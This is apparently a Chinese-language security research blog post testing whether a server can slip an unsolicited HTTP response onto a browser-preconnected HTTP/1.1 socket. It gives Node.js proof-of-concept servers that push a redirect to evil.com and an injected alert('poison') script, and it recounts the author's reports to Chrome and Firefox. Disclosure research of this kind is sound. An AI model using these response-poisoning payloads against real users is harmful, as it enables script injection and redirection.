在 HTTP/1.1 的世界,client 在一條 TCP connection 發送多個 HTTP request,server 會依照 client 發送的順序來依序回應
用 Node.js 架個 http.Server 驗證看看
import http from "http";
const httpServer = http.createServer((req, res) => res.end(req.url));
httpServer.listen(5000);
依序發送三個 HTTP request
GET /request1 HTTP/1.1\r\nHost: 127.0.0.1:5000\r\n\r\n
GET /request2 HTTP/1.1\r\nHost: 127.0.0.1:5000\r\n\r\n
GET /request3 HTTP/1.1\r\nHost: 127.0.0.1:5000\r\n\r\n
用 Wireshark 抓包,可以清楚地看到 request / response 一來一往的順序

可以畫成以下時序圖
如果 server 在第一包 HTTP request 送出以前,就 "偷塞" 了一包 HTTP response,那 request / response 的 binding 會亂掉嗎?
我想測試的情境如下:
正常情況下,client 跟 server 進行 TCP 3-way handshake 之後,client 馬上就會發送第一包 HTTP request,server 很難搶在第一包 HTTP request 送出之前,就把 "poisoned" HTTP response 提前送出
由於我主線研究是 Node.js,所以用 Node.js 來寫 PoC 也很正常,但缺點是 net 或是 http 模組暴露的 API 太高階了,我很難精準的控制 "poisoned" HTTP response 在 TCP 3-way handshake 之後立即送出
使用 net 來建立 HTTP server,並且嘗試在 TCP connection 建立後,立即塞入 "poisoned" HTTP response
import net from "net";
const response =
"HTTP/1.1 302 Found\r\nLocation: http://evil.com\r\nContent-Length: 0\r\n\r\n";
const server = net.createServer();
server.listen(5000);
server.on("connection", (socket) => socket.write(response));
使用多個 HTTP client(curl, python requests, php cURL)發送 HTTP request,發現 "poisoned" HTTP response 根本跑不贏第一包 HTTP request,最終都會落到正常的 request / response 順序
如果要達成我的目標
我詢問了 AI

AI 的回覆讓我有了新的想法

看到 "preconnect" 這個單字,讓我立即想到瀏覽器的
<link rel="preconnect" href="https://fonts.gstatic.com" />
可以用來預先建立 TCP 連線(若 https 的話則是 TCP + TLS),並且 preconnect 在 前幾篇文章 也有介紹到
測試情境如下:
http://127.0.0.1:5000
<link rel="preconnect" href="http://127.0.0.1:5001" />
127.0.0.1:5001 建立 TCP 連線後,127.0.0.1:5001 立即偷塞一包 "poisoned" HTTP response 給瀏覽器http://127.0.0.1:5001/script1.js,response 會不會吃到 "poisoned" 那包?index.html
<head>
<!-- Ask the browser to establish a TCP connection to 127.0.0.1:5001 early.
This does not guarantee reuse, but it increases the chance that
the later requests will use the same connection. -->
<link rel="preconnect" href="http://127.0.0.1:5001/" />
</head>
<body>
<script>
// Use "setTimeout" to ensure the "preconnected" TCP connection is reused.
// In a real page, HTML parsing/rendering can naturally delay when the
// <script> element at the end of <body> is appended or fetched.
// For this minimal PoC, "setTimeout" is used to make the timing explicit.
setTimeout(() => {
const script1 = document.createElement("script");
script1.src = "http://127.0.0.1:5001/script1.js";
document.body.appendChild(script1);
}, 1000);
</script>
</body>
http_server.cjs(在 127.0.0.1:5000 啟一個 http.Server,用來 serve 這個靜態 html)const { readFileSync } = require("fs");
const http = require("http");
const { join } = require("path");
const normalHtmlServer = http.createServer((req, res) => {
if (req.url === "/") {
res.end(readFileSync(join(import.meta.dirname, "index.html")));
return;
}
return res.end();
});
normalHtmlServer.listen(5000, () => console.log("listening on port 5000"));
malicious_server.cjs(在 127.0.0.1:5001 啟一個 malicious http.Server)const http = require("http");
const maliciousServer = http.createServer((req, res) => {
if (req.url === "/script1.js") return res.end("alert('script1')");
return res.end();
});
maliciousServer.on("connection", (socket) => {
// Poison the preconnected TCP socket by sending a complete HTTP response
// before the first HTTP request is received.
socket.write("HTTP/1.1 200 OK\r\nContent-Length: 15\r\n\r\nalert('poison')");
});
maliciousServer.listen(5001, () => console.log("listening on port 5001"));
GET /script1.js HTTP/1.1
我將這個案例回報給 Chrome 跟 Firefox,並且附上了操作影片
在 1 個工作天以內,我就收到了 Chrome 跟 Firefox 的回應,兩者皆認為這不是 security vulnerability
Chrome 的回覆:

Firefox 的回覆:

我認為 Firefox 的回覆比較專業,因為回覆的人有理解整個 PoC 的核心概念,並且也提出了這個 race condition 在實務上的判斷難點
不過最後一句話,激起了我的好奇心
引用 RFC9112 Section 9.2 原文:
If a client receives data on a connection that doesn't have outstanding requests, the client MUST NOT consider that data to be a valid response; the client SHOULD close the connection
我認為 Chrome 跟 Firefox 在這點是違反規範的
實務上,違反規範 不一定等於 資安漏洞。這個案例也讓我開始思考: